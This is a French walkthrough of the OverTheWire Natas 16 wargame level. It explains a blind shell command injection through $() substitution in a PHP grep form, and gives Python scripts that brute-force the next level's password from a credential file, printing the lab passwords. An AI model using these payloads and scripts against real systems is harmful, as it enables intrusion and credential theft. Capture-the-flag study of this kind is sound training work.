Niveau 16

Natas 16

Level Goal

Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL: http://natas16.natas.labs.overthewire.org

En se connectant à la page du challenge 16 (curl http://natas16.natas.labs.overthewire.org -u natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh) on accède à un nouveau formulaire de recherche permettant de chercher un mot dans un fichier texte et qui est dans la continuité de l'épreuve 9 :

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

Le code source associé est le suivant :

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

Comme on peut le remarquer, la requête que l'on saisie passe par une regex qui cherche à déterminer si elle contient un des caractères suivants : ;, |, &, `, \, ' ou ".

Si au moins un de ces caractères est détecté, la page retourne une erreur (Input contains an illegal character!), sinon elle exécute la commande grep associée à notre requête.

Un début de solution ici est de considérer qu'avec shell il est possible d'interpréter une chaîne de caractère en utilisant la syntaxe $(). Par exemple dans notre cas, si l'on a la chaîne de caractères $(echo Hello) elle sera interprétée en Hello par le shell avant d'être utilisée dans la commande grep.

Le nombre de commande que l'on peut exécuter et les droits en écriture semble limités ; on ne peut pas par exemple écrire le mot de passe du prochain niveau dans un fichier :

$(cat /etc/natas_webpass/natas17 > /var/www/natas/natas16/password.txt)

De la même manière il n'est pas possible d'utiliser curl pour envoyer le contenu du fichier /etc/natas_webpass/natas17 à un serveur.

Une solution possible est de considérer que si l'on utilise une commande grep à l'intérieur de notre payload, on peut déterminer si un caractère est présent ou non dans le fichier natas17.

Ainsi si l'on veut tester la présence du caractère a dans le mot de passe du prochain niveau, on envoi $(grep a /etc/natas_webpass/natas17). La commande qui sera exécuté par le serveur sera alors la suivante :

grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt

Deux résultats sont alors possibles :

Utilisons Python pour déterminer dans un premier temps l'ensemble des caractères présent dans le mot de passe :

import requests
import string


CHARACTERS = string.ascii_letters + string.digits
PASSWORD_CHARACTERS = []

PATTERN = "<pre>\n</pre>"


def query(password):
    exploit = f"$(grep {password} /etc/natas_webpass/natas17)"
    payload = {"needle": exploit}
    response = requests.get(
        "http://natas16.natas.labs.overthewire.org",
        params=payload,
        auth=requests.auth.HTTPBasicAuth("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
    )
    return response.text


for char in CHARACTERS:
    if PATTERN in query(char):
        PASSWORD_CHARACTERS.append(char)

print(PASSWORD_CHARACTERS)

On utilise <pre>\n</pre> pour identifier les cas où la requête ne renvoi aucun mot clef (ce qui, comme expliqué ci-dessus, signifie que le caractère est présent dans le mot de passe).

Après exécution du script on obtient le résultat suivant :

['b', 'c', 'd', 'g', 'h', 'k', 'm', 'n', 'q', 'r', 's', 'w', 'A', 'G', 'H', 'N', 'P', 'Q', 'S', 'W', '0', '3', '5', '7', '8', '9']

On sait que le mot de passe de la prochaine épreuve fait 32 caractères et est composé des 26 caractères identifiés ci-dessus.

On va donc écrire un nouveau script Python qui aura le comportement suivant :

On peut utiliser le script suivant :

import requests
import string


CHARACTERS = ['b', 'c', 'd', 'g', 'h', 'k', 'm', 'n', 'q', 'r', 's', 'w', 'A', 'G', 'H', 'N', 'P', 'Q', 'S', 'W', '0', '3', '5', '7', '8', '9']
PASSWORD = CHARACTERS[0]
PATTERN = "<pre>\n</pre>"
APPEND = True


def query(password):
    exploit = f"$(grep {password} /etc/natas_webpass/natas17)"
    payload = {"needle": exploit}
    response = requests.get(
        "http://natas16.natas.labs.overthewire.org",
        params=payload,
        auth=requests.auth.HTTPBasicAuth("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
    )
    return response.text


while len(PASSWORD) < 32:
    for char in CHARACTERS:
        if APPEND:
            if PATTERN in query(f"{PASSWORD}{char}"):
                PASSWORD = f"{PASSWORD}{char}"
        else:
            if PATTERN in query(f"{char}{PASSWORD}"):
                PASSWORD = f"{char}{PASSWORD}"
    APPEND = not APPEND

print(PASSWORD)

En exécutant ce script on obtient le mot de passe de la prochaine épreuve : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw